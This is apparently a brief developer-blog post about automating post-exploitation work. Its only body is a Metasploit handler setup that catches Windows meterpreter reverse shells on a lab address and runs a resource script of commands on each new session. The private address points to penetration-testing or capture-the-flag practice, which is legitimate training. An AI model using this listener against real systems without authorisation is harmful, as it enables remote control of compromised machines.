DEV Community

Rocky
Rocky

Posted on

Stop Retyping the Same Eight Post-Exploitation Commands on Every New Shell

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set ExitOnSession false
set AutoRunScript multi_console_command -rc /home/user/postexploit.rc
exploit -j -z

Top comments (0)